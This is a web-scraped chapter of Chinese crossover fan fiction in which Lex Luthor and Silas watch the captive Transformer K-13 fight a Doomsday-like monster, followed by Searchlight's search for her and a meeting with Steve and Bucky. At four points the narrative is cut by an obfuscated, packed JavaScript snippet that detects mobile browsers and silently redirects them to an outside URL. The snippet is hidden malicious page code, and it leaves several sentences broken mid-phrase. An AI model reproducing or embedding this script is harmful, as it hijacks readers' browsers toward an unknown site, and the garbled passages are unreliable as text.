“要取得伟大的成果,就不要妄想着走捷径。急躁和过早的得意,除了失败之外,什么也不会带来。”卢瑟轻声说,“不要忘记,上次你几乎失去了你的一切。不是吗,塞拉斯?” 这话如同一记响亮的耳光。 塞拉斯阖上眼,下巴的肌肉绷紧了。 他什么也没说。人造机器人的手指紧紧地攥着轮椅后端。 他,曾经的特种战术部队上校,机械党的领头人,现在落到这种地步,全是因为那些可恶的汽车人们。 塞拉斯在离开特种战术部队后,找到了很多志同道合的人,大部分甚至是特种战术部队的现役成员,组建了机械党。 机械党有着伟大的目的。他们一直试图通过逆向工程,复刻赛博坦技术,甚至复刻变形金刚种族最重要的一点:“变形”。 有了这样一只队伍,他们成功捉来过许多变形金刚,也积累了很多数据和经验,取得了可喜的进展,离制造出一支人造变形金刚军队就差最后几步。 当制造出擎天柱复制体的时候,塞拉斯甚至觉得他们就要成功了。 那个虚假的擎天柱完全以汽车人领袖为模板,几乎一比一复刻了擎天柱的力量、速度和各种数据,还能为他所控。 不仅如此,人造的擎天柱不会感到疼痛,没有疼痛就不会受到影响,能发挥出更强大的战斗力。 他回想起那场和擎天柱的战斗。 那是人和机器最完美的融合。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431924|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 自己的战斗操作加上辅助系统,把擎天柱打得节节败退,塞拉斯几乎能想象到他熄灭领袖火种之时的快意。 想想这多有趣——汽车人领袖被自己的复制品所打倒,军方还蒙在鼓里指鹿为马;在和其他汽车人战斗时,也能因为他们对领袖的尊敬,取得战斗的先机。 但随即,一切都被毁了。 塞拉斯至今仍记得那一晚。 那个叫富勒的特工,潜入了他操控擎天柱复制体的地方。 塞拉斯三拳两脚,轻而易举地把富勒打倒了。这位特工退役已久,身手大不如前,文职生活都让他养出了啤酒肚。 不过他也因此疏忽了对于擎天柱复制体的操控。 他最后的印象是倒塌的屋顶,朝他垂直坠落的擎天柱复制体,和剧痛、不甘、失败。 他以为自己的生命会结束在倒塌的砖瓦之下,但命运终究还是眷顾他的。 残余的机械党把他从废墟中救了出来,他的头部被倒塌的建筑碎块意外保护了起来,但身体很多部位受到了重创。 在他部下的治疗下,他奇迹般地活了下来,虽然代价也很明显。 他失去了正常的身体,失去了大部分的尊严,变成了现在这个半死不活的样子。 他本该这样慢慢死去。 但恰好在这个时候,莱克斯·卢瑟,一个商业大亨兼科学家,派人找上了门来。 卢瑟找到了他,给了他目的,还再次给了他希望。 他和剩下的机械党在卢瑟的基地里重获新生,还多了两位盟友。 黑骑士作为变形金刚内部成员,负责提供实验体和赛博坦信息;卢瑟付出了基地和各种各样的资源支持;机械党则出人出力,贡献军方信息和实验记录。 虽然看起来各有贡献,但是莱克斯·卢瑟莫名占据了三方中的主导地位。 塞拉斯并不特别享受这种受人制肘的滋味。 莱克斯·卢瑟打定的主意就没有任何人能够动摇,想做的事情就一定会付之于行动。 这并不是一种刚愎自用。相反,他具有天才般的智慧,塞拉斯经常无法弄清他的头脑里在盘算着什么。 卢瑟也没有把他的计划全都告诉另外两位盟友的意思,至少没有告诉塞拉斯。 不过他答应了塞拉斯,只要塞拉斯率领机械党协助他,他会为塞拉斯制造一个新的身体。塞拉斯可以成为最优秀的赛博坦人,成为那些“高于人类”存在的其中之一。 塞拉斯不知道卢瑟对那个名为黑骑士的变形金刚许诺了什么。 但他认为,黑骑士同样只知道卢瑟的部分计划,和他一样被瞒在鼓里。 卢瑟授课般讲道:“塞拉斯,你对机械生命体的痴迷和研究是你的优势。只不过,你仍然没有理解事情的本质。” 塞拉斯皱起了眉头,他脸上的疤痕伴随着皱眉,仿佛变得更深刻了。 卢瑟是天才还是疯子?他不知道。这两者往往只有一线之隔。但他的计划比塞拉斯的要更加云山雾罩。 卢瑟瞥了一眼K-13,笑道:“变形金刚们之所以能主宰战场,不是因为他们有炮管,而是因为他们有‘自我’。” “就是那个‘我是谁’,让他们能战斗至死,哪怕只为一句口号化的理想信念。” “如果你还记得我们的目标,就该明白,我需要的不只是听话的躯体。当你能创造一个更好的东西时,模仿原来的有什么意义?我想要的,是可以被人类所控制的神明。” “你仍然把这些事物当作奇迹,好像跪在机器面前,就能使你超越人类。不过有目的总归是一件好事,我不会干涉你的想法,与此同时,你也得服从我的目标。” 塞拉斯操纵着身后的机器人,勉强点了点头。 他最后看了一眼屏幕上的K-13,用机器人推着自己的肉.体离开了控制室。 他和任何不在解剖台上的变形金刚都合不来,也对卢瑟神神叨叨的计划不太感兴趣。 不过走着看吧,如果他没法得到他想要的身体,他也不介意就用现成的这个。 他总能想到办法的。 —————— 见塞拉斯离开,黑骑士退后几步,看着眼前的人类。 “赛拉斯或许缺乏远见,但他的直觉没错。你似乎有点不满意,这就是他为什么在刚刚突然又质疑我。” 那赢得了卢瑟的一瞥。他看向黑骑士。作为一个人类,他的目光未免过于无所畏惧了。 “我的投资是需要回报的。我还在等待,这就是原因。” 黑骑士为自己辩解:“我也不知道这竟然是一个残次品。我本来不想让你过早地看到它的情况,因为怕不能满足你的需求。但现在看来K-13还是有些聪明的,有时候我都怀疑它是一个训练有素的战士了。” 卢瑟赞同道:“它确实让我有点印象深刻。让我看看它能做到什么地步。还有其他事情拖延了你制造新生命的脚步吗?” “没什么。你是听塞拉斯说的吗?基地里混进来了一只小虫子而已,稍微拖延了一下实验的进度。我会把它找出来,慢慢捏死,把它带来的损失讨回来。” 卢瑟颔首,算是接受了黑骑士的解释。 黑骑士道:“那我先去处理一些个人事务,有需要的话,我会再回应你的呼唤的。慢慢欣赏吧,我亲爱的朋友,这是专门供你检阅的演习。” 黑骑士的全息投影就此消失,想来可能是在研究所里遇到了什么需要她亲自处理的事情。 这个控制室内,只留下卢瑟一个人和这片偌大的全息屏幕。 “仅仅杀死一个神还不够。”卢瑟自言自语,把蓝色小球抛在一边,他的声音如丝般顺滑甜美。 “神明从未注视着人类。要拯救人类,对于神明的崇拜是该到此为止了。神必须被拆解。” “军队会被制造,世界会被征服,到了那时,我会向所有的神明宣战,那将会是诸神的黄昏。” 29. 第二场战斗 仿照角斗士竞技的形式,这次模拟演习在这三场战斗的间隔,同样设有简短的休息时间。 休息时间不足十五个分循环,勉强只够喘息,却不足以让K-13真正恢复。 测试场四周弧形的墙壁变回了单调的金属色,恢复成了最开始那朴实无华的样子。 K-13手中一空,机械兵的残肢消散在空气中。 明明刚刚打起来那么真实。 她低下头,漫不经心地扫了一眼。 外装甲上覆盖的各种机油和尘土都片片剥落消失不见,只剩下她自己泄露的能量液还残留在机体上。 在运输机上,系统故障炮塔开火时,她的肩膀和腰侧都被击中过,当时外甲就裂开了一些。 虽然照明后来给她紧急修补、贴上了医疗补丁,但在刚刚的激烈战斗中,医疗补丁的效果也是杯水车薪,表面的小损伤扩大成为明显的外伤。 虚拟出来的敌人采用的是人海战术,一但被包围就会陷入苦战。 K-13不得不一边战斗,一边还要保持自己占据有利的地形。 系统模拟出来的机械兵,战力其实并不高,大概一个能打三个霸天虎量产机子;如果要和精锐的量产飞行兵碰一碰,战斗结果大概会是不相上下。 对于K-13来说,他们单个来看是非常弱小的。 但他们设计不同,又能分工合作,有些快速近战,有些又在远处以火力压制。 他们换着花样,努力要围上K-13,把她淹没在其中,不让她有片刻停下的机会。 系统有时候还会作弊。 一旦K-13脱出包围圈,远处的敌人便直接消散,下一秒立即生成在K-13身旁,跗骨之蛆一样怎么也甩不掉。 战斗像是永无止境。这是弱者以数量的堆积,对于强者的一场消磨式的猎杀,是一次对于耐力和精神的极大消耗。 但是那又如何?她赢了。 K-13从通风口深深地换入一口气,感受着新场地的空旷,和酣畅淋漓的战斗之后,能量液在燃料管线里的流动。 机缘巧合,她离开了实验室和里面狭小的隔离仓,作为一个战士去战斗,而不是一个处处无能为力的实验体。 虽然她知道这场战斗毫无公平和荣誉可言,纯粹是供背后的操纵者在评判和观赏。 然而,这种感觉几乎像是……自由。 只是,“自由”,已经不是她现在最想要的东西了。 她将会一直赢下去,不择手段、不计代价,直到达成她最后的目的。 十五个分循环过得很快。 马上,K-13又感受到了周围环境微妙的变化。 她活动了一下有点僵硬的机体,爪子互击了一下。 可能出于安全考虑,K-13没有得到武器,一直是赤手空拳地进行搏斗;但没有关系,她本身就是一件武器。 K-13看向来者,光学镜眯了眯。 —————— 同时,照明在操作室内也是讶异地欸了一声。 她明明还没操作系统。 炸药也呃了一声,盯着屏幕发出厌恶的感叹:“这是什么东西?我真服了设计者的想象力,这模拟得未免有点太恶心了吧?” 一个特制的铁笼从弧形的场顶降了下来。 铁笼子重重砸在了地上,地面一阵震颤。 笼门在落地的时候就自动解锁了,里面的东西一拳挥开门,走了出来。 向着K-13走去的是一个有机体生物,虽然没有K-13高,但相较于有机体来说,它有着相当巨大的体格,大概在8-9米之间。 它全身被粗糙的灰色皮肤覆盖着,在嶙峋又崎岖的皮肤之间,还有骨质的突刺破土而出。这只怪物既像怪石又像野兽,任何人在看到它的第一眼就会感受到它的野蛮和对于这个世界的恶意。 怪物扭曲了面部,转身想要攻击关住过它的笼子,但铁笼迅速地收回了,被吞没进弧状的墙壁中。 见失去了攻击的目标,怪物随即把视线转向与它同处于一个空间的活物,眼中充满狂暴与憎恨,似乎打算把这种愤怒全都倾泻在K-13身上。 见指示灯闪烁,照明按下了启动第二场模拟的按钮,轻轻说:“奇怪。” “怎么?” “这和方案上写的不一样。而且,这个怪物不是由系统直接生成的,却是被关在笼子里,从外面运进来;你难道不觉得,它好像是真实的吗?” 方案上,测试“最高的战力”的第二场战斗,系统本来应该模拟出汽车人领袖擎天柱的。 当时照明在看到那个红蓝相间的大型机体时,还小小地惊讶了一下。黑骑士居然能拿到汽车人领袖的各方面战斗数据,抑或者只是黑骑士想象出来的? 炸药眯着光学镜认真看了一会,无所谓道:“我看没什么区别。反正目的都是一样,K-13打什么都差不多。” 他差点就把“关我屁事”写在面甲上,不过照明本来也没寄希望于他。 她向不知道何人在操控的上一环节发出了询问的信息,然而无人应答。 她只好关注着屏幕上的状况。 系统模拟的环境在她面前展开,这次是一座欣欣向荣的城市,沐浴在人造的黄昏之中。这里有着高耸的摩天大楼和街道,除了没有浪费算力去模拟任何行人之外,一切都很真实。 这场景简直太经典了,超级英雄和超级反派们打架时总是摧毁城市。 毕竟,谁都不想看他们在一片空旷的田野上大打出手,对吧? K-13正站在一根电线杆旁边,戒备着,光学镜锁在正踩踏着车辆的怪物身上。 它每迈一步,地面都会传来一阵新的震动,有时候甚至会把系统模拟出来的景象震得扭曲一下。 然而有些东西是不变的,那就是固定或者在附近移动着的监控单元。 这个路灯就是其中之一,正在划过路面、被怪物一把举起扔出去的汽车,本质上也是一个监控无人机。 K-13看着它虚拟的外表被破坏之后,裂成两半掉在地上,镜头闪烁了几下就失去了光彩。 监控单元肯定能捕捉到一切,以供幕后之人观看。 K-13的芯中开始形成一个模糊的计划。 如果他们想要一场表演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444116|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… K-13忽然一扭身,往城市内部跑去。 她当然不可能躲开这场战斗,在刚刚的第一场战斗中,她已经学到了很多事情。 比如,这个测试场因为模拟的效果看起来很广阔,但本质上还是只有这么一点大小,跑到一定的边界就会像在跑步机上跑步一样,不管跑多快都是在原地打转。 再比如,这里面有些东西是虚假的,但也有些东西就像监控单元一样,有其实体和本质。 看到K-13离开,怪物丢下了手中无生命的汽车,吼叫着追了上去。 —————— eon……”照明低声喃喃,不知道是在祈求K-13跑得更快,还是在祈求某个不可能的奇迹。 K-13狂奔着,绕过破碎的店面和崩塌的人行道,能量液在她的身后不断滴落。 为了战斗的观赏性和测量数据而精心设计的城市地形,现在成了她唯一的生存希望。 怪物比照明想象得要更快,要更强;况且这个怪物还有个很可怕的特性:它曾经遭受过的攻击,再次对它施行的时候似乎会对它无效化。 K-13曾冲它的脸部喷吐过一团及其庞大的火球,融化了怪物的整个面部;随后她一爪子狠狠送进了怪物的胸膛,把那里掏得血肉模糊。 那时照明以为这场战斗就要这样结束了。 瞎了的怪物倒在地上,没有消散,证实了照明的猜测——这是一个实际存在的生物。 但出乎照明意料的是,怪物被杀死后竟然还能重生,且拥有极强的愈合再生能力,很快就摇晃着重新站了起来。 当K-13试图故技重施时,怪物如被泼了一盆温水那样毫发无伤;它一甩头,差点没把K-13缩在身后的翅膀给整个撕下来。 自那以后,战斗形势就变得越来越不利于K-13,照明想不出她还有什么获胜的机会;主控台竟也安安静静,可能黑骑士觉得一切尽在掌控之中? 这回连炸药都泛起了嘀咕。当然,他只是觉得,如果实验体就这样死掉了,那他费尽心思求来的管理机会岂不是又成了泡影? 照明把手伸进臂甲的小空间,她的手指触碰到K-13送给她的水晶花。 她一直随身携带,经常悄悄把玩,怕水晶花被压坏,都没有将水晶花放进子空间里,而是藏在这个即使变形也不会受到碾压的臂甲隔层。 微凉的触感仿佛渗进了她的火种,她想起K-13温柔优雅的声音: “我喜欢当我不在你身边的时候,也会有我制造的东西在陪着你。” 屏幕中,K-13穿梭在倒塌建筑的钢铁骨架之间,躲进狭窄的巷子,跃过生锈的汽车,利用种种障碍物减缓怪物的速度。 在她身后,怪物的攻击砸穿了大楼的墙壁,尘土和碎片在空中四散喷溅。 一块碎片划过,在K-13的面甲上留下一道深深的划痕。 她伤痕累累,从未如此狼狈不堪,但是照明莫名觉得她并没有放弃,并不只是在徒劳地延缓自己的死亡。 水晶花不会像故事里的那样,那么快就枯萎死去;那制作这朵水晶花的人呢? 30. 毁灭之日 K-13从扭曲的高速公路立交桥下飞奔而过,怪物缀在她身后穷追不舍。 立交桥的匝道口,一个摄像头对准了他们;K-13在那里一转身,一个纵跃,手爪勾住上面的桥面爬了上去。 怪物如履平地,径直地也冲了去,将模拟成摄像头的监控单元碾成碎片。 伴随一丝闪烁,全息屏角落的一个小方块大小的画面变黑了。 被分割成数百个画面的全息屏幕,此时有大半的监控点都黑了下去。 好在系统会自动切换了画面进行放大,所以在控制室内,卢瑟和塞拉斯还是能够清晰地看到测试场中的景象。 既然黑骑士离开了,塞拉斯又让人造机器人把自己推了回来。 他现在这副模样,也不愿多出现在自己的部下面前。 面对正在测试场中肆虐的怪物,他不禁暗暗感慨。 卢瑟开了口:“那是我创造的作品之一。这难道不令人惊叹吗?” 塞拉斯机械地呵呵笑了几声,还是不理解为什么卢瑟要把K-13虚拟的测试对手,换成他自己培养的怪物。 卢瑟又道:“但是比起前一个来说,这个反而有了更明显的缺陷。这里的限制条件还是太多了。” “我还是不明白。你不是说测试要尽量可控、不引人注目吗?” “请原谅我,”卢瑟笑了一声,他的语气却没有丝毫歉意,“在亲眼看到K-13之后,我难免有些激动了。在测试数据之外,我不禁想看看它在灾难中的表现。” 特制的铁笼中含有氪石元素,这种元素会削弱这个生物,这是卢瑟能够成功关住怪物的前提条件。 比起曾经那个,现在他利用基因工程技术实验创造的“毁灭日”只能说是类似的低配版本。 没有之前的条件,加上这颗地球竟然全无氪石的踪迹,卢瑟不得不退而求其次。 塞拉斯看着屏幕,提醒道:“再这样打下去,不管是测试场地还是实验体,那里什么都不会剩下。” 卢瑟耸耸肩:“变形金刚都很坚韧。K-13会没事的;等我满意了,我就会把它收回来的。” 经过了这场追逐缠斗,K-13的体力和反应速度都有所降低。 怪物许久没有杀死这个狡猾的对手,变得更加焦躁起来,吼叫了一声,速度居然又提升了一倍。 一记本应擦身而过的打击打中了K-13。 她倒着飞了出去,在人行道上滑行了数百米,直到撞入了一栋大楼的玻璃窗中才停下了这股势头;她撞击的地方,墙面砸出一个龟裂的圆形凹陷。 在K-13再次踉跄着站直时,她的左腿剧烈地抽搐了一下。 K-13单膝跪倒在地上,吐出一口能量液。 她的光学镜忽明忽灭,系统反复弹出警告,警示着机体残破的状况。 她可没有像怪物一样死而复生的本事,所以尽管机体已快到了极限,她还是勉强翻滚着,躲开了怪物的下一击。 这座本来繁华的城市毁坏得十之八.九,在一大片倒塌而混乱的砖瓦之中,K-13快躲无可躲了。 就在怪物再次冲锋时,她挣扎着站直了机体,向着最后的一座高楼逃窜而去。 场面一片混乱,怪物在K-13身后一路破坏着,有部分测试场地都被打到现出了本来的金属地面,有些地方还冒着轻烟。 K-13不再理会倒塌的建筑和掉落的碎石——反正都是虚假的,其中真实的部分也造成不了什么特别大的伤害。 她一个踉跄,绊倒在一堆松散的碎石上,碎石变成了一堆武器的残片。 怪物比她预想的要快,抓住了短暂的机会。 下一击正中K-13的胸口,将她向后推出,撞上了这最后一栋大楼。 金属在撞击下发出尖锐的摩擦声,还好,K-13的胸甲承受住了这一击,只是扭曲凹陷进去。 她无力地背靠着墙,咳嗽一声,一横臂擦去从嘴角滴落的能量液。 差不多了,就快了…… 怪物的愤怒已然积累到顶点;眼见得猎物就在眼前,它大声地咆哮着,猛扑过去! K-13发挥出最后的力量,在最后一刻全力向左闪避! 她重重地侧身落地,破碎的外装甲和地面摩擦出火花。 怪物的巨大拳头挥舞过去,在一阵电弧和烟雾中摧毁了大楼。 忽然,怪物立足之下,地面发出深沉的嗡鸣—— BOOM—— “城市”爆炸了。 每一座倒塌的大楼顺着交汇的桥梁依次爆炸,支柱、街道、路灯接二连三地破碎,一股毁灭的涟漪向外扩散,耀眼的光波将怪物吞噬于其中。 K-13也被些许波及,然而毕竟不在这场大爆炸的中心。 她翻滚到了安全区域,看着被强烈的电荷爆炸吞没的怪物。 这个测试场中的系统模拟出来的城市不只是为了观赏。 城市中的大楼也是系统实体的一环,其中,隐藏着一些能量节点和武器,用于控制场内区域的种种变化。 在她的第一场战斗中,K-13就发现了这一点。 因为有幻象和金属墙作为屏障,它们的结构简单,防护也较为薄弱。不过仅仅以她自己的力量,还是无法摧毁这个地方的。 但,K-13看出,这个怪物的力量可以做到这一点。 该说幕后之人是疏忽大意还是过于自信呢?不管这个计划究竟会不会成功,K-13都打算尝试一下。 于是,刚刚她其实一直带着怪物兜圈子,挑衅怪物跟随她。 她一边逃窜,一边飞快地掠过大楼的中心,在监控点位和重要的能量节点处短暂停留。 每当怪物挥舞着四肢打出一击,它往往就会摧毁数个监控单元,以及大楼内部的能量节点。 这些节点原本是独立存在的,但K-13硬是借着敌人的破坏,将它们串联起来,像是把导火索拉成了一张网,特制了一个将能量节点连起来的电荷爆破陷阱。 而刚刚,那头怪物,正站在她为它选好的引爆点上。 —————— 怪物被掩埋在崩塌的结构之中。 这回不再是模拟出来的建筑物了,而是真实的测试场的塌陷。 位于建筑底部的实体测试场彻底被破坏,这让整栋大楼都抖了三抖。全靠支撑的承重结构还在发挥作用,以至于大楼还坚强地立在原地。 塞拉斯就知道自己不好的预感会成真。他一咬牙,刚想说些什么,却被一阵鼓掌和大笑给打断了。 “真是令人印象深刻。”卢瑟毫不担心地笑道,“就是这样才有意思嘛。有针对性的破坏,这个实验体还挺聪明。黑骑士倒是错看了它,这可不是什么残次品。” 在塞拉斯的瞪视中,卢瑟吩咐道:“这场演习就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449042|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到这里吧。有人可能得去检查一下我们的资产。在我们成功之前,可不能有一个死亡的实验对象。” —————— 在照明和炸药所在的操作室里,每个屏幕先出现联系不上的警告,然后变成黑屏。 最后一个尚在工作的监控单元捕捉到了K-13的身影。 她倒在地上,全身的十多处伤口中流着能量液,能量液在破碎的装甲上划出蓝荧荧的痕迹。 ……然而,她居然还在微笑。 那是一个微小而叛逆、完全胜利的微笑。 那个微笑——野性、疲惫,带着荣耀——在照明的中央处理器中久久徘徊。 她怔怔地看着,几乎忘记了身边的一切,几乎忘记了所有她应该做的任务。 如果照明知道“怦然心动”这个词,那她就能以此形容她现在火种跳动的频率。 她早就明白的。 K-13不会屈服,也不会逃跑;如果暂时看上去是处于劣势,那也是在为之后的反击做准备。 在不知何时已经变得很长的“K-13候选名”清单中,一个名字清晰地浮现出来。 就是这个了,这是如此贴切;是的,这就是属于K-13的名字—— 此时,最后一个监控单元也失去了联系。 全息屏幕变成了黑色。 照明猛地直起身来,火种仿佛也一同沉入黑暗。 她的理智重新占领回了脑模块的高地。 这是照明所见到过K-13受伤最重的一次。 她需要被立刻治疗! 这次主控台没有装死,好像听到了照明的心声,人造机器人又神出鬼没地出现在了房间里。 这次,他带来了一小箱工具,要求一个研究员跟他走,趁着休息时间,去测试场中修理一下K-13。 好像在接手K-13之后,她就莫名开始兼职医官了。 照明快速翻找着能用上的东西,看出其中有很多是研究所带过来的器材,不由地想到了史蒂夫他们。 也不知道他们现在怎么样了? 不过之前下运输机时,她并没有把那个物资箱密封起来。 以那两个人类大得出奇的力气,到了适合出来的地方,打开箱盖从里面钻出来躲藏还是完全能够做到的。 现在情况紧急,照明也顾不上他们了。 她只能希望等这场演习结束之后,能迅速找到史蒂夫和巴基,然后找一架飞行器,将他们安全地悄悄送上去,叫他们离开变形金刚种族的争斗之中。 —————— 另一边。 巴基活动着手指,轻松地说道:“我早就告诉你躲在一艘变形金刚的运输机上是个糟糕的主意。特别是被装箱在物资集装箱里。” “是啊,”史蒂夫咕哝道,“但现在我们既然知道了他们的计划,不能就这样离开这里。” 他们溜进了阴影中,刚好避开了巡逻的雇佣兵。 在巡逻人员走出几步后,史蒂夫从阴影里神出鬼没地窜了出来,一个手刀就把雇佣兵放倒了,巴基则解决了剩下的那一个。 他们把倒下的雇佣兵拖到一边,用在物资箱里找到的绳索捆了起来,塞到隐蔽处。 史蒂夫对巴基说道:“看起来我们又要一起拯救世界了。” 巴基笑着和他对了对拳:“你知道的,我会陪你走到最后的,哥们。” 31. 逃离(待补充) 照明跟着人造机器人走出操作室。 人造机器人的步伐有一种四平八稳的僵硬,行动速度也并不快,跟在他后面总有一种令人难耐的焦躁感。 “你能快点吗?”她忍不住催促道。 人造机器人不予理会,只是一味地根据带领的指令,以均匀的步伐朝前走着。 照明反思了一下,才发现自己不知不觉和炸药一个德行,竟然对一个没有自主思维的机器人急起来了。 “好吧,好吧……” 刚刚的爆炸似乎不只破坏了那个测试场,也对这里的其他一些设施造成了破坏。 在他们前往目的地的路上,照明不止一次看到有人在旁边的走廊穿行而过,或是在房间里外走进走出。 她的音频接收器还捕捉到一些无奈的汇报。比如什么“是的,西区的监控全部损坏了”、“是否允许撤离?”诸如此类,倒是和研究所发生意外时的情况很相似。 沿途她也遇上了一些人类。 这些人类要不是蒙着头脸,一身黑漆漆的像个假人;要不就是穿着白大褂,往往还戴着一根金属丝、上面架着两个小玻璃片儿。 这些人没有对人造机器人表现出什么奇怪的态度,倒像是有些习以为常似的。 他们只是对机器人身后的照明会多看上几眼,然后便匆匆绕道而过。 照明无心多管这里的人类。 她跟着机器人沿着楼梯和坡道不断往下,就在照明以为她会跟着机器人到达K-13刚刚所在的测试场时,机器人在一个房间前停了下来。 房间的门和照明之前进入操作室的机械金属门应该是一样的。 这种门原理其实并不复杂,有人走入时,就会一边一半,平平向两边滑开。 之所以说“应该”,是因为现在这个房间的门已经只剩下了左边的一半。 右边的一半,被什么卡在了墙里,正反复进行着试图合拢的失败尝试。 这里离实体测试场有多近?难道爆炸也波及到了这里吗? 照明刚想催促人造机器人继续前行,却只见他却对着识别器认真地识别并输入着,等左边的一半门也滑开之后,才进入了房间内。 原来这竟就是目的地了。 确实,这个机器人接收到的指令是带领照明去修理K-13。以他的死板程度是不会在意无关的沿途情况的。 照明一进房间,就吃惊地停下了脚步。 房间一片狼藉。 有一个赛博坦人大小的医疗泊位边缘,几丝断裂的束缚带垂挂着,像是被撕裂的蛛丝。 尚未干涸的能量液还在地面上流成了一小滩,闪烁着淡淡的微光。 但是唯独不见K-13的踪影。 照明身旁的机器人停了下来,他的光学镜缓慢扫动,处理着这片景象。 照明一连串地问道:“K-13呢?她在哪里?他们到底对她做了什么?” 她本来期待着赶紧给K-13修理包扎,等回到研究所再带她去找伊迪斯进行彻底的检查。 他们带走了K-13,这是照明处理器中的第一个想法。 但随即这个想法就被她否决了。这个场景看起来太像是一场主动的逃离。 但是,她又能跑到哪里去呢?如果没有成功——照明深刻怀疑K-13能成功——会不会迎来更猛烈的惩罚? 机器人微微转动头部,一句话也没有说。片刻之后,他停在原地不动了,光学镜暗淡下去。 照明抓住他的肩膀,把他像抖一个破布娃娃似的晃了好几晃,也没能让他重新上线。 在确定根本指望不上他之后,照明决定先根据来时的路线回到操作室,至少那里还能有联系黑骑士的方式。 她跑出房间,转了几个弯之后,迎面撞上了一群半是紧张、半是激动的蒙面士兵。 照明还没来得及动上一下,就有十几支枪口对准了她。 “别动!”领头的一个士兵大叫道,他看起来和其他的并没有什么不同。 不知道他们的枪里装的是什么弹药,但照明觉得这些人无法对她造成威胁。 不过,现在照明不想多惹事端,于是她缓缓举起手,平静道:“等等,我是你们中的一员。你们不会希望阻挡我去收拾这里的残局。” 士兵们交换了警惕的目光。 领头的那个把手放在耳边的设备上,好像又接收到了什么命令,一挥手;蒙面士兵们举着枪后退,然后迅速地撤离了。 照明看着他们往反方向搜寻过去。 他们是在找什么呢? 想到莫名消失的K-13,照明心中一凛。难道他们是在找K-13吗? 她可不想让这些人类先找到K-13,普神才知道他们会对K-13做些什么!他们还拿着武器呢! 她选择性地忽略了“即使是受了重伤的K-13,对于人类而言也是具有极大威胁”的这个事实。 走廊足够宽敞,是赛博坦人适宜的大小,足够一辆探照灯车在其中行驶。 照明干脆变了形,以变形形态行驶着,超车直冲向前,探照灯发出刺目的光芒。 经过士兵时,他们受惊地向两旁跳开,等他们反应过来纷纷举枪射击,照明不理会打在她外装甲上的子弹,他们也追赶不上她。 照明直开向前了一段路,发现前方有两个熟悉的人影,他们背靠着背,正在和一群蒙面士兵作战。 那两个人恐怕是照明看得最多次数的人类了,就在前不久,她还在物资集装箱里“惊喜”地发现了他们—— 那两人正是史蒂夫和巴基。 前方通道许是快通到测试场了,两侧的墙壁被震塌了一半,碎裂的承重结构将走廊压成了一条只能勉强匍匐通过的缝隙。 史蒂夫和巴基在战斗中被迫退入这里,既不能翻越也无法潜行,四周塌陷的构造将他们困在这个无处借力的死角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454113|165761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照明没有忘记,这两人在这里,有一半是她的责任。 带着对这里人类的不满,她径直冲上前去,撞飞了几个试图阻拦的士兵;她灵巧地一个紧急刹停,半步变形,车门弹开了:“快上车!” 包围圈被这样被简单粗暴地撕开了一角,史蒂夫和巴基听出了照明的声音,迅速地钻进了这一辆无人驾驶的探照灯车。 “是你吗,照明?”史蒂夫确认道。 他刚刚听出了照明的声音。 他们知道变形金刚的种族特性,之前风语就曾经炫耀地在他们面前变过形。 当时照明就在旁边,以噘嘴表达了对于这种幼稚的行为的不屑一顾,所以他们没能看到照明的变形形态。 “嗯哼。”探照车的系统广播里传出一声。 “这比我想象的要容易,”巴基拂去衣服上的灰尘,“这几十年能改变很多,但并不能改变某些事情。” 来自1940年代的两位士兵,虽然不懂那些高科技的程序代码,也发现自己对复杂的控制台一头雾水,但是他们可以通过看守人员的反应,认出哪些是关键的地点和设备。 在无意之间听见这个饱含邪恶之意的计划后,史蒂夫立即认识到了这其中的危险并不亚于当时红骷髅的密谋,天生的责任感让他不能不在离开之前采取一些行动。 他们在离开物资箱后,一直悄悄潜行,对这个基地进行了搜索。 对于那些复杂的设备和房间,一旦发现无能为力,就迅速撤出,不浪费时间。 这也让他们发现了一些纸质的文件和档案。 史蒂夫打算一旦回到军方,就针对这件事进行汇报。 他们已经取得了一个研究员的身份验证设备,本来打算带着偷来的档案和样本,从一条次要的通道出逃。 只是,在最后搜寻逃离的路线时,他们还是被发现了。 